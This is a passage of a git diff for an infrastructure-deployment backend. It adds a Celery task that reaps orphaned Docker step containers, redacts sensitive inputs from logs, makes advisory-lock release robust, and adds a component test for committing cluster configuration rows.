remove it. + +``DockerRunner._clear_workspace_predecessors`` already closes the dangerous half: +a step removes any container holding the workspace it is about to mount that +nothing live owns, so an orphan and its own retry can never run concurrently +against the same state directory. That has to be synchronous — the retry starts +seconds after the worker returns, long before any schedule is due. + +Note what that sweep deliberately does NOT remove: a container owned by a +different task that is still live. ``workspace_subpath`` is shared by every +module of a deployment-scope blueprint and those modules run concurrently, so +sweeping on the workspace label alone would kill a live sibling's step. It is +scoped to unowned containers, not to everything on the workspace. + +This closes the remaining half — an orphan whose step is never retried, which +would otherwise run until someone noticed. It compares each container's +``bnkforge.task`` label against the live Celery task set that +``execution_janitor`` already computes, so "dead" means the same thing here as +it does for tasks. + +Runs on the WORKER, not the backend: only the celery services set DOCKER_HOST +(docker-compose.yml), so a sweep scheduled anywhere else would silently talk to +the wrong endpoint — or none. +""" + +from __future__ import annotations + +import logging +import os +import subprocess + +from celery_app import celery_app +from services.execution.container_runner import ( + _LABEL_STEP, + _LABEL_TASK, + DockerRunner, +) + +logger = logging.getLogger(__name__) + +# Every individual docker call is short and bounded, as in the runner. +_DOCKER_CALL_TIMEOUT = 30 + + +def _inspect_labels(runner: DockerRunner, cid: str, env: dict[str, str]) -> dict[str, str]: + """The container's labels, or {} if it cannot be read.""" + result = subprocess.run( + [runner.docker_bin, "inspect", "--format", "{{json .Config.Labels}}", cid], + env=env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + if result.returncode != 0: + return {} + import json + + try: + return json.loads((result.stdout or "").strip()) or {} + except (ValueError, TypeError): + return {} + + +def reap_orphaned_step_containers() -> dict: + """Remove step containers whose Celery task is no longer live. + + A container with no ``bnkforge.task`` label is left alone: it predates the + labelling, and without an owner there is no evidence it is an orphan rather + than a step in flight. Removing on a guess here would kill a running + deployment, which is worse than the leak. + """ + from services.execution_janitor import get_live_task_ids + + runner = DockerRunner() + env = dict(os.environ) + env["DOCKER_HOST"] = runner.docker_host + + listed = subprocess.run( + runner.build_ps_argv(label=f"{_LABEL_STEP}=1"), + env=env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + if listed.returncode != 0: + detail = (listed.stderr or listed.stdout or "").strip() + logger.warning("Container reaper could not list step containers: %s", detail) + return {"listed": 0, "reaped": 0, "error": detail} + + ids = [cid for cid in (listed.stdout or "").split() if cid] + if not ids: + return {"listed": 0, "reaped": 0} + + live = get_live_task_ids() + if not live: + # Same fail-open as the runner's sweep, with a wider blast radius: an + # empty set would make every labelled container on the host look dead, + # running ones included. This function IS a Celery task, so its own id + # is in the set whenever the lookup works — empty means the lookup + # failed, not that the host is idle. + logger.warning( + "Live-task set is empty — reaping nothing this pass rather than " + "treating an unavailable lookup as 'nothing is running'" + ) + return {"listed": len(ids), "reaped": 0, "skipped": "live-task set unavailable"} + + reaped, unowned = 0, 0 + for cid in ids: + task_id = _inspect_labels(runner, cid, env).get(_LABEL_TASK) + if not task_id: + unowned += 1 + continue + if task_id in live: + continue + logger.warning( + "Reaping step container %s — its task %s is no longer live", cid, task_id + ) + subprocess.run( + runner.build_rm_argv(cid), + env=env, capture_output=True, text=True, timeout=_DOCKER_CALL_TIMEOUT, + ) + reaped += 1 + + if reaped or unowned: + logger.info( + "Container reaper: %d listed, %d reaped, %d left alone (no owning task label)", + len(ids), reaped, unowned, + ) + return {"listed": len(ids), "reaped": reaped, "unowned": unowned} + + +@celery_app.task(name="tasks.container_reaper.reap_orphaned_step_containers") +def reap_orphaned_step_containers_task() -> dict: + try: + return reap_orphaned_step_containers() + except Exception as exc: # pragma: no cover - the sweep must never fail a beat tick + logger.warning("Container reaper failed: %s", exc) + return {"listed": 0, "reaped": 0, "error": str(exc)} diff --git a/backend/tasks/container_tasks.py b/backend/tasks/container_tasks.py index d60bbaaa..0dc62375 100644 --- a/backend/tasks/container_tasks.py +++ b/backend/tasks/container_tasks.py @@ -119,7 +119,11 @@ def _kubernetes_factory(): ) -def _build_engine_and_ctx(db, module: ProjectModule) -> tuple[ContainerEngine, ModuleContext]: +def _build_engine_and_ctx( + db, module: ProjectModule, *, operation: str = "apply", + celery_task_id: str | None = None, + extra_variables: dict | None = None, +) -> tuple[ContainerEngine, ModuleContext]: """Resolve manifest, substrate, pull secret, and build the engine + context.""" from services.credentials_service import get_cloud_credentials_only from services.execution.container_run_secrets import ( @@ -173,6 +177,60 @@ def _build_engine_and_ctx(db, module: ProjectModule) -> tuple[ContainerEngine, M # Effective form inputs for {{inputs.*}} templating: base variables overlaid # with variable_overrides (where blueprint-resolved form values are stored). effective_variables = {**(module.variables or {}), **(module.variable_overrides or {})} + # Inputs a pack declares `source: "module"` are resolved from the dependency's + # outputs, the same way every other engine resolves them. Without this the + # declaration is inert on this path — stored, never applied — and the step runs + # with the input unset, failing from inside the image in a way that names the + # input rather than the wiring that should have supplied it. + # + # Wired BEFORE the operator's own values are layered on, so an explicit form + # value still wins: a blueprint that hard-codes a registry host should not be + # overridden by a dependency that happens to publish one. + if library_module is not None: + # Imported here, not at module scope, matching how can_execute is pulled in + # below — variable_assembler reaches back into services/ and importing it + # eagerly from a tasks module risks a cycle. + from services.execution.variable_assembler import apply_dependency_output_wiring + + # Not seeded with Layer 2.75's early transforms, and that is currently + # fine rather than a known hole: MODULE_TRANSFORMS is keyed on module + # path and every registered key is a Python-defined module + # (bare-metal/*, bnk/*, k8s/*). Container modules are artifacts selected + # by artifact kind, so none of them has an early transform to miss. If + # one ever gains a transform, this is the line that has to change. + # + # Seeded with what is already resolved, mirroring build_variables' Layer + # 2.6. The wiring decides whether a missing required dependency is fatal + # by checking whether the input is ALREADY present, so handing it an empty + # dict disables that check and makes this path stricter than every engine + # it is meant to match: a pack that wires from infra/aws/vpc raises here on + # bare metal, where that module does not exist, even though the operator + # supplied the value on the form. Layer 2.6 exists precisely to prevent + # that, and seeding is how this path inherits it. + wired: dict = dict(effective_variables) + apply_dependency_output_wiring( + db, module, library_module, wired, operation=operation + ) + resolved = {k for k in wired if k not in effective_variables} + if resolved: + logger.info( + "Resolved %d input(s) from dependency wiring: %s", + len(resolved), ", ".join(sorted(resolved)), + ) + # A dependency output that landed on a key the operator also set is + # discarded by the merge below. That is the intended precedence, but it + # is invisible to someone asking why their `from_output` "didn't apply", + # so say so once at debug level. + overridden = sorted( + k for k, v in wired.items() + if k in effective_variables and effective_variables[k] != v + ) + if overridden: + logger.debug( + "Dependency output(s) overridden by the module's own values: %s", + ", ".join(overridden), + ) + effective_variables = {**wired, **effective_variables} # Declared project secrets → workspace files (#442). After the form inputs # are known (paths may template {{inputs.*}}), before the engine runs, so a # missing secret fails fast naming it rather than surfacing as an opaque CLI @@ -194,17 +252,78 @@ def _build_engine_and_ctx(db, module: ProjectModule) -> tuple[ContainerEngine, M engine = ContainerEngine( runner, + celery_task_id=celery_task_id, mount_path=mount_path, workspace_host_path=workspace_host, workspace_local_path=workspace_local, workspace_volume=workspace_volume, workspace_subpath=workspace_subpath, pull_authfile_json=pull_authfile, - secret_values=list(credentials_env.values()) + ([pull_authfile] if pull_authfile else []), + secret_values=( + list(credentials_env.values()) + + ([pull_authfile] if pull_authfile else []) + # extra_variables carries invocation-time action inputs, which are + # NOT in module.variables — the engine is built before run_action + # merges them, so without this the declared-sensitive action input + # has no value for the redactor to match against. + + _sensitive_input_values( + manifest, {**effective_variables, **(extra_variables or {})} + ) + ), ) return engine, ctx +def _sensitive_input_values(manifest: dict, variables: dict) -> list[str]: + """Values of manifest inputs marked (or inferred) sensitive. + + The engine redacts these from streamed and captured log lines. Previously + only cloud-credential and pull values were redacted, but a step's argv is + echoed verbatim to the task log and the module-log WebSocket — so an + artifact declaring ``args: [..., "--token", "{{inputs.api_token}}"]`` leaked + that token in cleartext (issue #408.6). The shipped roksbnkctl artifact was + unaffected (its secret rides in a redacted ``-e`` env var), which is why this + stayed latent. + """ + from utils.security import is_sensitive_input + + values: list[str] = [] + definitions: list[dict] = [] + + def _collect(block) -> None: + if isinstance(block, list): + definitions.extend(d for d in block if isinstance(d, dict)) + elif isinstance(block, dict): + # Both shapes appear in the wild: a flat list, or required/optional + # groups. + for group in block.values(): + if isinstance(group, list): + definitions.extend(d for d in group if isinstance(d, dict)) + + _collect((manifest or {}).get("inputs")) + + # Actions declare their OWN inputs, which run_action merges into the + # templating variables. Reading only the top-level block meant an action + # input marked sensitive never reached the redactor, so `--token + # {{inputs.api_token}}` was echoed verbatim into task.logs, the module-log + # WebSocket and OperationResult.stdout — the same leak class this function + # exists to close, on the sibling path. + actions = (manifest or {}).get("actions") + if isinstance(actions, dict): + for definition in actions.values(): + if isinstance(definition, dict): + _collect(definition.get("inputs")) + + for definition in definitions: + name = definition.get("name") + if not isinstance(name, str) or not is_sensitive_input(definition): + continue + value = (variables or {}).get(name) + if isinstance(value, str) and value: + values.append(value) + return values + + def _streaming_sink(task, db, header: str, lines: list[str], *, interval: float = 2.0): """Build an ``on_output`` callback that appends timestamped lines AND flushes ``task.logs`` to the DB at most every ``interval`` seconds. @@ -373,7 +492,7 @@ def run_container_init(self, task_db_id: int, module_id: int, auto_apply: bool = raise ValueError(f"Module {module_id} not found") with module_lock(db, module.id, task_id=task_db_id) as lock: - engine, ctx = _build_engine_and_ctx(db, module) + engine, ctx = _build_engine_and_ctx(db, module, celery_task_id=self.request.id) lines: list[str] = [] result = engine.init(ctx, on_output=lambda ln: lines.append(f"[{_ts()}] {ln}")) @@ -447,7 +566,7 @@ def run_container_plan(self, task_db_id: int, module_id: int, **kwargs): _notify_task_started(task) with module_lock(db, module.id, task_id=task_db_id) as lock: - engine, ctx = _build_engine_and_ctx(db, module) + engine, ctx = _build_engine_and_ctx(db, module, celery_task_id=self.request.id) lines: list[str] = [] result = engine.plan(ctx, on_output=lambda ln: lines.append(f"[{_ts()}] {ln}")) @@ -507,7 +626,7 @@ def run_container_apply(self, task_db_id: int, module_id: int, **kwargs): raise ValueError(f"Dependencies not satisfied: {', '.join(missing)}") with module_lock(db, module.id, task_id=task_db_id) as lock: - engine, ctx = _build_engine_and_ctx(db, module) + engine, ctx = _build_engine_and_ctx(db, module, celery_task_id=self.request.id) lines: list[str] = [] header = f"=== CONTAINER ENGINE APPLY ===\nModule: {ctx.path}" sink = _streaming_sink(task, db, header, lines) @@ -581,6 +700,14 @@ def run_container_action(self, task_db_id: int, module_id: int, action: str, act # Status gate: actions exercise a deployed module — a test against an # absent cluster fails fast with an actionable error. + # + # This gate is also why _build_engine_and_ctx below takes the default + # operation="apply" rather than something destroy-flavoured: D-034's + # contract is that an action exercises a deployed module WITHOUT + # changing it, and this check means its dependencies are up by + # definition. There is no action that can reach the dependency wiring + # with its deps already torn down, so the strict (non-destroy) branch + # is correct here, not just consistent with kubernetes_tasks. if module.status != "applied": task.status = "failed" task.error = ( @@ -635,7 +762,10 @@ def run_container_action(self, task_db_id: int, module_id: int, action: str, act _publish_task_completion(task) return {"success": False, "error": task.error} - engine, ctx = _build_engine_and_ctx(db, module) + engine, ctx = _build_engine_and_ctx( + db, module, celery_task_id=self.request.id, + extra_variables=action_inputs, + ) lines: list[str] = [] header = f"=== CONTAINER ENGINE ACTION '{action}' ===\nModule: {ctx.path}" result = engine.run_action( @@ -700,7 +830,7 @@ def run_container_destroy(self, task_db_id: int, module_id: int, **kwargs): db.commit() _publish_task_completion(task) _update_stack_status_if_needed(module, db) - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return {"status": "skipped", "module_id": module.id} task.status = "in_progress" @@ -710,7 +840,9 @@ def run_container_destroy(self, task_db_id: int, module_id: int, **kwargs): _notify_task_started(task) with module_lock(db, module.id, task_id=task_db_id) as lock: - engine, ctx = _build_engine_and_ctx(db, module) + engine, ctx = _build_engine_and_ctx( + db, module, operation="destroy", celery_task_id=self.request.id + ) lines: list[str] = [] header = f"=== CONTAINER ENGINE DESTROY ===\nModule: {ctx.path}" sink = _streaming_sink(task, db, header, lines) @@ -735,7 +867,7 @@ def run_container_destroy(self, task_db_id: int, module_id: int, **kwargs): db.commit() create_deployment_record(db, task, module, "destroy", task.logs) _update_stack_status_if_needed(module, db) - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) if result.success: _maybe_unregister_container_cluster(db, module) @@ -755,7 +887,7 @@ def run_container_destroy(self, task_db_id: int, module_id: int, **kwargs): try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("destroy trigger failed after container lock error: %s", trigger_err) raise @@ -766,7 +898,44 @@ def run_container_destroy(self, task_db_id: int, module_id: int, **kwargs): try: if _exc_module is not None: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("destroy trigger failed after container exception: %s", trigger_err) raise + + +@celery_app.task(name="tasks.container_tasks.kill_module_containers") +def kill_module_containers(celery_task_ids: list[str]) -> dict: + """Kill the step containers owned by ``celery_task_ids``. Runs on the WORKER. + + This exists because cancel is invoked from a FastAPI route — i.e. the + ``backend`` service, built from the ``api`` Dockerfile stage, which does NOT + copy the docker CLI (only the ``worker`` stage does) and is not given + DOCKER_HOST by compose. Calling the runner inline there raised + FileNotFoundError, which the old code swallowed into "0 containers killed", + so the user was told the operation stopped while the detached container kept + driving the vendor CLI against live infrastructure. + + Same constraint the reaper already documents: only the celery services can + reach the docker endpoint. + + Returns ``{"killed": [...], "reachable": bool, "error": str | None}`` so the + caller can tell "nothing was running" from "I could not look" — the module + lock must only be released on the former. + """ + from services.execution.container_runner import ( + ContainerKillUnavailableError, + DockerRunner, + ) + + runner = DockerRunner() + killed: list[str] = [] + for task_id in celery_task_ids or []: + if not task_id: + continue + try: + killed.extend(runner.kill_task_containers(task_id)) + except ContainerKillUnavailableError as exc: + logger.warning("kill_module_containers: %s", exc) + return {"killed": killed, "reachable": False, "error": str(exc)} + return {"killed": killed, "reachable": True, "error": None} diff --git a/backend/tasks/helm_tasks.py b/backend/tasks/helm_tasks.py index 002bad44..8dc2dea6 100644 --- a/backend/tasks/helm_tasks.py +++ b/backend/tasks/helm_tasks.py @@ -49,8 +49,14 @@ def helm_release_lock(db, cluster_id: int, release_name: str): pg_advisory_xact_lock would hold an idle-in-transaction connection for the full duration of `helm install/upgrade` (potentially 5–30 min), causing lock bloat; session-level locks are released explicitly when the context exits regardless of - transaction state. The try/finally guarantees pg_advisory_unlock is always called - even on exception, preventing lock leaks. + transaction state. + + The release is defensive because try/finally alone was not enough (#83). If SQL + inside the body failed, the transaction was left aborted and the + pg_advisory_unlock in the finally raised InFailedSqlTransaction itself -- so the + lock was never released and the pooled connection kept holding it until + pool_recycle (~1h), wedging every later helm operation on that release. On that + path we roll back to clear the abort, then release. On SQLite (tests): no-op; SQLite is single-process and has no advisory locks. """ @@ -75,13 +81,46 @@ def helm_release_lock(db, cluster_id: int, release_name: str): try: yield finally: - db.execute(sa.text("SELECT pg_advisory_unlock(:key)"), {"key": key}) - logger.debug( - "helm_release_lock: released advisory lock key=%d cluster=%d release=%s", - key, - cluster_id, - release_name, + _release_helm_lock(db, key, cluster_id, release_name) + + +def _release_helm_lock(db, key: int, cluster_id: int, release_name: str) -> None: + """Release the advisory lock, surviving an aborted transaction. + + A failed statement inside the lock body leaves the transaction aborted, and + Postgres then rejects *every* statement on that connection -- including the + unlock -- with InFailedSqlTransaction. Rolling back first clears the abort so + the release can actually run. Never leave the loop without trying: a leaked + session-level lock outlives the task and is only reclaimed on pool_recycle. + """ + unlock = sa.text("SELECT pg_advisory_unlock(:key)") + try: + db.execute(unlock, {"key": key}) + except Exception as exc: + logger.warning( + "helm_release_lock: unlock failed (%s) for key=%d cluster=%d release=%s — " + "rolling back the aborted transaction and retrying the release", + exc, key, cluster_id, release_name, ) + try: + db.rollback() + db.execute(unlock, {"key": key}) + except Exception: + # Nothing further we can do here; make the leak loud rather than + # silent, since the symptom (helm wedged for an hour) is otherwise + # very hard to trace back to this. + logger.exception( + "helm_release_lock: LEAKED advisory lock key=%d cluster=%d release=%s — " + "held until the connection is recycled", + key, cluster_id, release_name, + ) + return + logger.debug( + "helm_release_lock: released advisory lock key=%d cluster=%d release=%s", + key, + cluster_id, + release_name, + ) # ── Read tasks (fast ops, short-poll from route) ──────────────────────────── diff --git a/backend/tasks/kubernetes_tasks.py b/backend/tasks/kubernetes_tasks.py index 90d741b4..6e59603f 100644 --- a/backend/tasks/kubernetes_tasks.py +++ b/backend/tasks/kubernetes_tasks.py @@ -706,7 +706,7 @@ def run_k8s_destroy(self, task_db_id: int, module_id: int, **kwargs): _publish_task_completion(task) _update_stack_status_if_needed(module, db) # D-001 Phase 3: fire destroy trigger for skipped modules too - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return {"status": "skipped", "module_id": module.id} task.status = "in_progress" @@ -797,7 +797,7 @@ def on_output(line: str): _update_stack_status_if_needed(module, db) # D-001 Phase 3: event-chain destroy trigger hook - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return { "success": result.success, @@ -824,7 +824,7 @@ def on_output(line: str): try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after K8s ModuleLockError: %s", trigger_err) raise @@ -848,7 +848,7 @@ def on_output(line: str): try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after K8s ModuleLockLostError: %s", trigger_err) raise @@ -872,7 +872,7 @@ def on_output(line: str): try: if _exc_module is not None: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after K8s generic exception: %s", trigger_err) raise diff --git a/backend/tasks/opentofu_tasks.py b/backend/tasks/opentofu_tasks.py index f6eb1465..dc797110 100644 --- a/backend/tasks/opentofu_tasks.py +++ b/backend/tasks/opentofu_tasks.py @@ -1020,7 +1020,7 @@ def run_opentofu_destroy(self, task_db_id: int, module_id: int, keep_workspace: # S14-039: Update stack status if module belongs to a stack _update_stack_status_if_needed(module, db) # D-001 Phase 3: fire destroy trigger even for skipped modules - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return {"status": "skipped", "module_id": module.id, "reason": f"No infrastructure (status was {module.status})"} project = module.project @@ -1171,7 +1171,7 @@ def run_opentofu_destroy(self, task_db_id: int, module_id: int, keep_workspace: # D-001 Phase 3: event-chain destroy trigger hook # Fire after module reaches destroyed/destroy_failed so the next # dependency in the reverse-DAG chain is queued (or finalize runs). - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) # If destroy succeeded, clear plan metadata (infrastructure no longer exists) if destroy_code == 0: @@ -1206,7 +1206,7 @@ def run_opentofu_destroy(self, task_db_id: int, module_id: int, keep_workspace: # C1: fire event-chain trigger so terminal detection can run even on timeout if _exc_module is not None: try: - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning(f"_trigger_next_destroy_module failed after soft timeout: {trigger_err}") raise @@ -1233,7 +1233,7 @@ def run_opentofu_destroy(self, task_db_id: int, module_id: int, keep_workspace: try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning(f"_trigger_next_destroy_module failed after ModuleLockError: {trigger_err}") raise @@ -1257,7 +1257,7 @@ def run_opentofu_destroy(self, task_db_id: int, module_id: int, keep_workspace: try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning(f"_trigger_next_destroy_module failed after ModuleLockLostError: {trigger_err}") raise @@ -1272,7 +1272,7 @@ def run_opentofu_destroy(self, task_db_id: int, module_id: int, keep_workspace: try: if _exc_module is not None: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning(f"_trigger_next_destroy_module failed after generic exception: {trigger_err}") raise diff --git a/backend/tasks/ssh_tasks.py b/backend/tasks/ssh_tasks.py index 524910b9..b33f6664 100644 --- a/backend/tasks/ssh_tasks.py +++ b/backend/tasks/ssh_tasks.py @@ -183,15 +183,51 @@ def _build_ssh_context(db, module: ProjectModule, operation: str = "apply") -> M category = module.library_module.category if module.library_module else "bare-metal" # Resolve DPU management IP. - # Precedence: BareMetalHost.dpu_mgmt_ip (persisted by wait-dpu-ready — - # carries the OOB IP for dual_dpu_obmc and the tmfifo IP otherwise) → - # first entry in dpu_info[*].mgmt_ip (legacy discovery JSON) → - # 192.168.100.2 (regular-topology tmfifo default). + # Precedence (stop at first match): + # 1. BareMetalHost.dpu_mgmt_ip — explicit OOB management IP (dual_dpu_obmc + # path); highest priority so that topology is unaffected by the cluster + # IPAM path. + # 2. Cluster-member DPU dpu_tmfifo_ip — persisted by the ADR-424 IPAM + # allocator when the DPU joined a cluster (query: Dpu.project_id == + # module.project_id AND Dpu.host_node_ip == host.host_ip AND + # kubernetes_cluster_id IS NOT NULL AND dpu_tmfifo_ip IS NOT NULL). + # host_node_ip is unique only per (project_id, host_node_ip, + # pci_address), so the project scope prevents a foreign project's + # same-IP host from leaking its relay target; the cluster filter + # excludes orphans left by ondelete=SET NULL (dpu_tmfifo_ip stays + # populated after the cluster is deleted). Used only when exactly one + # such DPU exists on the host; more than one makes the relay target + # ambiguous (multi-DPU-per-host, Phase 2). + # 3. first entry in dpu_info[*].mgmt_ip — legacy discovery JSON. + # 4. 192.168.100.2 — single-DPU regular-topology tmfifo default. dpu_host: str | None = None if host.dpu_mgmt_ip: dpu_host = host.dpu_mgmt_ip - elif host.dpu_info and isinstance(host.dpu_info, list) and host.dpu_info: - dpu_host = host.dpu_info[0].get("mgmt_ip", "192.168.100.2") + else: + from models.dpu import Dpu as DpuModel + + tmfifo_dpus = ( + db.query(DpuModel) + .filter( + DpuModel.project_id == module.project_id, + DpuModel.host_node_ip == host.host_ip, + DpuModel.kubernetes_cluster_id.isnot(None), + DpuModel.dpu_tmfifo_ip.isnot(None), + ) + .all() + ) + if len(tmfifo_dpus) == 1: + dpu_host = tmfifo_dpus[0].dpu_tmfifo_ip + elif len(tmfifo_dpus) > 1: + logger.warning( + "Host %s has %d cluster-member DPUs with tmfifo IPs — " + "multi-DPU-per-host relay target selection is not yet supported (Phase 2); " + "falling through to legacy dpu_info / 192.168.100.2", + host.host_ip, + len(tmfifo_dpus), + ) + if dpu_host is None and host.dpu_info and isinstance(host.dpu_info, list) and host.dpu_info: + dpu_host = host.dpu_info[0].get("mgmt_ip", "192.168.100.2") return ModuleContext( module_id=module.id, @@ -317,11 +353,18 @@ def _try_auto_register_cluster(db, module: ProjectModule, outputs: dict, lock=No if host_id: host = db.query(BareMetalHost).filter(BareMetalHost.id == int(host_id)).first() if host: + from models.kubernetes import KubernetesCluster host.kubernetes_cluster_id = reg_result["cluster_id"] + # ADR-478 P1b: stamp cluster with the release the host was built with. + cluster = db.query(KubernetesCluster).filter( + KubernetesCluster.id == reg_result["cluster_id"] + ).first() + if cluster and host.version_profile_id is not None: + cluster.deployable_release_id = host.version_profile_id db.commit() logger.info( - "Linked BareMetalHost %s to cluster %s", - host.id, reg_result["cluster_id"], + "Linked BareMetalHost %s to cluster %s (release_id=%s)", + host.id, reg_result["cluster_id"], host.version_profile_id, ) elif reg_result: logger.warning( @@ -661,7 +704,7 @@ def _on_destroy_output(line: str) -> None: create_deployment_record(db, task, module, "destroy", task.logs) _update_stack_status_if_needed(module, db) # D-001 Phase 3: event-chain destroy trigger hook - _trigger_next_destroy_module(module, db) + _trigger_next_destroy_module(module, db, task.id) return {"success": result.success, "exit_code": task.exit_code} @@ -679,7 +722,7 @@ def _on_destroy_output(line: str) -> None: try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after SSH ModuleLockError: %s", trigger_err) raise @@ -698,7 +741,7 @@ def _on_destroy_output(line: str) -> None: try: if _exc_module: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after SSH ModuleLockLostError: %s", trigger_err) raise @@ -711,7 +754,7 @@ def _on_destroy_output(line: str) -> None: try: if _exc_module is not None: db.refresh(_exc_module) - _trigger_next_destroy_module(_exc_module, db) + _trigger_next_destroy_module(_exc_module, db, task.id) except Exception as trigger_err: logger.warning("_trigger_next_destroy_module failed after SSH generic exception: %s", trigger_err) raise diff --git a/backend/tests/component/test_bnk_cluster_config_persistence.py b/backend/tests/component/test_bnk_cluster_config_persistence.py new file mode 100644 index 00000000..3ae155a1 --- /dev/null +++ b/backend/tests/component/test_bnk_cluster_config_persistence.py @@ -0,0 +1,250 @@ +"""Component test: POST /bnk-config route must db.commit() so the row survives. + +The underlying service method get_or_create_config() only calls db.flush(). +Without an explicit db.commit() in the route handler, the row is lost when the +session is closed at the end of the request (production get_db closes without +auto-committing). + +Three tests cover the fix: +1. Service-lifecycle test: flush-only loses data after session.close(). +2. Service-lifecycle test: flush+commit preserves data after session.close(). +3. Route-level spy test (via TestClient): asserts the route calls db.commit() + and that the row is present in the DB after the request. The spy FAILS if + the route does not call db.commit(). +""" + +import pytest +from sqlalchemy import create_engine +from sqlalchemy.orm import sessionmaker + +from database import Base +from models.kubernetes import BnkClusterConfig, KubernetesCluster +from services.bnk_cluster_service import BnkClusterService + + +def _isolated_engine(): + """Fresh in-memory SQLite with all tables — NOT the shared test pool.""" + engine = create_engine("sqlite:///:memory:", connect_args={"check_same_thread": False}) + Base.metadata.create_all(bind=engine) + return engine + + +class TestBnkClusterConfigPersistence: + """BnkClusterService.get_or_create_config() only flushes; caller must commit.""" + + # ------------------------------------------------------------------ + # Service-level lifecycle tests — isolated engine, no HTTP layer. + # ------------------------------------------------------------------ + + def test_flush_only_data_lost_after_session_close(self): + """Without db.commit(), flushed data is gone once the session closes. + + This is the bug: the pre-fix route only called flush. When production + get_db closes the session at request end, the row vanishes. + """ + engine = _isolated_engine() + Session = sessionmaker(bind=engine) + + setup = Session() + cluster = KubernetesCluster( + name="c1", context="ctx1", + api_server="https://k8s.example.com:6443", status="active", + ) + setup.add(cluster) + setup.commit() + cluster_id = cluster.id + setup.close() + + # Service flushes but no commit — then session closes (mimics production get_db). + db1 = Session() + BnkClusterService(db1).get_or_create_config(cluster_id=cluster_id) + # intentionally no db1.commit() + db1.close() + + db2 = Session() + cfg = db2.query(BnkClusterConfig).filter_by(cluster_id=cluster_id).first() + db2.close() + assert cfg is None, "flush-only: row should be lost after session.close() without commit" + + def test_commit_data_survives_session_close(self): + """With db.commit() after get_or_create_config(), data survives session close. + + This is the fix: the route now calls db.commit() right after the service, + so the row is committed before get_db closes the session. + """ + engine = _isolated_engine() + Session = sessionmaker(bind=engine) + + setup = Session() + cluster = KubernetesCluster( + name="c2", context="ctx2", + api_server="https://k8s.example.com:6443", status="active", + ) + setup.add(cluster) + setup.commit() + cluster_id = cluster.id + setup.close() + + # Service flushes, route commits, then session closes. + db1 = Session() + BnkClusterService(db1).get_or_create_config( + cluster_id=cluster_id, + tmfifo_pool_cidr="10.99.0.0/24", + join_transport="rshim", + ) + db1.commit() # this is what configure_bnk_cluster now does + db1.close() + + db2 = Session() + cfg = db2.query(BnkClusterConfig).filter_by(cluster_id=cluster_id).first() + db2.close() + assert cfg is not None, ( + "BnkClusterConfig row missing after commit+close — route must call db.commit()." + ) + assert cfg.tmfifo_pool_cidr == "10.99.0.0/24" + assert cfg.join_transport == "rshim" + + # ------------------------------------------------------------------ + # Route-level test — exercises the HTTP path, spies on db.commit(). + # FAILS without db.commit() in configure_bnk_cluster; PASSES with it. + # ------------------------------------------------------------------ + + def test_configure_bnk_cluster_route_calls_commit_and_persists( + self, client, db, admin_headers, sample_user, make_project, make_k8s_cluster + ): + """Route must call db.commit() and the row must be readable from the DB. + + A spy wraps db.commit so any call made during the request is counted. + Without db.commit() in the route: commit_calls == 0 → assertion fails. + With db.commit() in the route: commit_calls >= 1 → assertion passes. + A follow-up DB query confirms the BnkClusterConfig row is present. + """ + project = make_project() + cluster = make_k8s_cluster(project=project) + cluster_id = cluster.id + + # Spy: count how many times db.commit() is called during the route. + real_commit = db.commit + commit_calls: list[bool] = [] + + def _spy_commit(): + commit_calls.append(True) + return real_commit() + + db.commit = _spy_commit + + try: + response = client.post( + f"/api/k8s/clusters/{cluster_id}/bnk-config", + json={"tmfifo_pool_cidr": "10.88.0.0/24", "join_transport": "rshim"}, + headers=admin_headers, + ) + finally: + db.commit = real_commit # restore unconditionally + + assert response.status_code == 200, response.text + body = response.json() + assert body["cluster_id"] == cluster_id + assert body["tmfifo_pool_cidr"] == "10.88.0.0/24" + assert body["join_transport"] == "rshim" + + assert commit_calls, ( + "configure_bnk_cluster did not call db.commit() — " + "without commit the row is lost when get_db closes the session." + ) + + # Verify the row is present in the DB (identity-map safe: expire first). + db.expire_all() + cfg = db.query(BnkClusterConfig).filter_by(cluster_id=cluster_id).first() + assert cfg is not None, "BnkClusterConfig row not found after route returned." + assert cfg.tmfifo_pool_cidr == "10.88.0.0/24" + + +class TestConfigureBnkClusterValidation: + """#3 — CP host authz + join_transport 